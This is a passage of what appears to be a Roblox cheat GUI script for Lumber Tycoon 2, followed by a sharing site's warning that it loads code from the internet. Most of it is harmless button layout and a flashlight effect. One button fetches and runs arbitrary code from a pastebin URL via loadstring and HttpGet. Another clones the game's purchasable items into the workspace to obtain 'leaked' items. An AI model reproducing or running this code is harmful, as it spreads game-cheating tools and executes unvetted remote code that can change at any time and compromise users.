FunStuffCOCA.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/nMu90Kdq',true))()
end)
FunStuffLEAKED.Name = "FunStuffLEAKED"
FunStuffLEAKED.Parent = LT2GUI2Frame
FunStuffLEAKED.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffLEAKED.BorderColor3 = Color3.new(0, 0, 0)
FunStuffLEAKED.Position = UDim2.new(0, 3, 0, 118)
FunStuffLEAKED.Size = UDim2.new(0, 165, 0, 20)
FunStuffLEAKED.Font = Enum.Font.Fantasy
FunStuffLEAKED.FontSize = Enum.FontSize.Size18
FunStuffLEAKED.Text = "Leaked Items"
FunStuffLEAKED.TextColor3 = Color3.new(255, 0, 0)
FunStuffLEAKED.TextSize = 15
FunStuffLEAKED.MouseButton1Down:connect(function()
game.ReplicatedStorage.Purchasables:Clone().Parent = game.Workspace.PlayerModels
end)
FunStuffFLASH.Name = "FunStuffFLASH"
FunStuffFLASH.Parent = LT2GUI2Frame
FunStuffFLASH.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffFLASH.BorderColor3 = Color3.new(0, 0, 0)
FunStuffFLASH.Position = UDim2.new(0, 3, 0, 141)
FunStuffFLASH.Size = UDim2.new(0, 165, 0, 20)
FunStuffFLASH.Font = Enum.Font.Fantasy
FunStuffFLASH.FontSize = Enum.FontSize.Size18
FunStuffFLASH.Text = "Flash Light"
FunStuffFLASH.TextColor3 = Color3.new(255, 0, 0)
FunStuffFLASH.TextSize = 15
FunStuffFLASH.MouseButton1Click:Connect(function()
FunStuffFLASH.BackgroundColor3 = Color3.new(0.14902, 0.490196, 0.109804)
-- Created by supersonicfan111
local p=game:GetService"Players".LocalPlayer
local c=p.Character
local surf='SmoothNoOutlines'
if not c then error'Cannot find character, please respawn, then rerun the script' end
-- Flashlight Handle
local hand=Instance.new"Part"
hand.BrickColor=BrickColor.DarkGray()
hand.Parent=c
hand.Anchored=false
hand.Locked=true
hand.CanCollide=false
hand.FormFactor='Custom'
hand.Size=Vector3.new(1,1,2)
hand.TopSurface,hand.BottomSurface=surf,surf
-- Torch Effect
local fe=Instance.new"Part"
fe.BrickColor=BrickColor.new"Black"
fe.Parent=c
fe.Anchored=false
fe.Locked=true
fe.CanCollide=false
fe.FormFactor='Custom'
fe.Size=Vector3.new(.8,.8,.2)
fe.TopSurface,hand.BottomSurface=surf,surf
-- Welding stuff
-- Flash to Right Arm
local weld1=Instance.new"Weld"
weld1.Parent=hand
weld1.Part0=hand
weld1.Part1=c['Right Arm']
weld1.C0=CFrame.new(0, 1.5, 0)
-- Torch Effect to Flash
local weld2=Instance.new"Weld"
weld2.Parent=hand
weld2.Part0=hand
weld2.Part1=fe
weld2.C0=CFrame.new(0, 0, 1)
-- Right Arm Weld
local ra=Instance.new"Weld"
ra.Parent=c['Torso']
ra.Part0=c['Right Arm']
ra.Part1=c['Torso']
ra.C0=CFrame.new(-1.5,1,0)*CFrame.Angles(math.rad(180),0,0)
-- Flashlight Functionality
local flashlightOn = false
local Battery=50
-- Handles turning the flashlight on/off
p:GetMouse().Button1Down:connect(function()
flashlightOn=not flashlightOn
if flashlightOn then
fe.BrickColor=BrickColor.new"New Yeller"
light=Instance.new"SurfaceLight"
light.Parent=fe
light.Range=1000
light.Face="Back"
light.Brightness=10
fe.Material="Neon"
else
fe.BrickColor=BrickColor.new"Black"
if light then light:destroy() end
fe.Material="SmoothPlastic"
end
end)
-- Battery Modules
-- Depleting and Charging
spawn(function()
while wait(1) do
if flashlightOn then
if Battery > 0 then
Battery=Battery-1
end
else
if Battery < 100 then
Battery=Battery+1
end
end
print(Battery)
end
end)
-- Turning off flashlight if the battery is too low
spawn(function()
while wait() do
if Battery <= 0 then
flashlightOn=false
if light then light:destroy() end
fe.BrickColor=BrickColor.new"Black"
fe.Material="SmoothPlastic"
end
end
end)
local stepped = game:GetService'RunService'.RenderStepped
end)
FunStuffReset .Name = "FunStuffReset "
FunStuffReset .Parent = LT2GUI2Frame
FunStuffReset .BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffReset .BorderColor3 = Color3.new(0, 0, 0)
FunStuffReset .Position = UDim2.new(0, 3, 0, 164)
FunStuffReset .Size = UDim2.new(0, 165, 0, 20)
FunStuffReset .Font = Enum.Font.Fantasy
FunStuffReset .FontSize = Enum.FontSize.Size18
FunStuffReset .Text = "Reset Character"
FunStuffReset .TextColor3 = Color3.new(255, 0, 0)
FunStuffReset .TextSize = 15
FunStuffReset.MouseButton1Click:connect(function()
game.Players.LocalPlayer.Character.Head:Destroy()
end)
local Menus = {
[Player] = PlayerFrame;
[Teleport] = Waypoints;
[AIntroImage] = BloodFrameInfo;
[Woodmenu] = WoodFrame;
[Copymenu] = CopyFrame;
[PaintFill] = PaintFills;
[Artmenu] = ArtFrame;
[toolamenu] = toolaFrame;
[Buymenu] = BuyFrame;
[Btoolamenu] = LT2GUI2Frame;
}
for button,frame in pairs(Menus) do
button.MouseButton1Click:connect(function()
if frame.Visible then
frame.Visible = false
return
end
for k,v in pairs(Menus) do
v.Visible = v == frame
end
end)
end
local Menusa = {
[Paint] = MenuFramea;
}
for button,frame in pairs(Menusa) do
button.MouseButton1Click:connect(function()
if frame.Visible then
frame.Visible = true
return
end
for k,v in pairs(Menusa) do
v.Visible = v == frame
end
end)
end
--- Open/Close ---
Open.MouseButton1Down:connect(function()
OpenFrame.Visible = false
MainFrame.Visible = true
end)
Minimize.MouseButton1Down:connect(function()
MainFrame.Visible = false
OpenFrame.Visible = true
end)
CloseBLOOD.MouseButton1Down:connect(function()
BLOOD:destroy()
end)
--bring up menu
CurrentItem.MouseButton1Click:Connect(function()
if Picker.Visible == false then
Picker.Visible = true
else
Picker.Visible = false
end
end)Loads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: www.roblox.com, nto.darkdevs.pro, pastebin.com.
gg

Universal